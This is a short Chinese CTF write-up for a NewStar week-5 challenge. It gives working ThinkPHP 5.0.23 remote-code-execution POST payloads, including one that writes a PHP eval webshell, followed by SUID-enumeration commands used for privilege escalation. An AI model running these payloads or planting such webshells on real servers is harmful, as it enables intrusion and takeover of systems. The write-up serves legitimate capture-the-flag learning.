new star week5 Final(thinkphp利用+suid越权)

作者 by Yichen / 2023-11-08 / 暂无评论 / 54 个足迹

找到版本号是5.0.23,开始测
(漏洞原因:获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
可以参考https://blog.csdn.net/solitudi/article/details/113796433
屏幕截图 2023-11-08 083733.png
GET:index.php?s=captcha
POST:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
phpinfo可以执行,但是其他命令没有回显

屏幕截图 2023-11-08 084751.png
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo+'<?php+eval($_POST[1]);?>'+>+2.php
(加号代替空格,否则%201会影响解析)
这样传个马
屏幕截图 2023-11-08 090701.png
找到flag但是没权限读不到,屏幕截图 2023-11-08 091326.png
学习suid提权
suid特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行
为文件赋予suid的命令是
chmod + s 文件 或者是 chmod 4755 文件
这里有
find / -user root -perm -4000 -print 2>/dev/stdout
find / -perm -u=s -type f 2>/dev/stdout
find / -user root -perm -4000 -exec ls -ldb {} ;
这三个命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
来执行
关于提权反弹shell后得到低权限终端的问题可以参考https://blog.csdn.net/rlenew/article/details/111873682

最后这里查询suid命令的时候不知道为什么不回显,但是可以读到flag了
屏幕截图 2023-11-08 092909.png

独特见解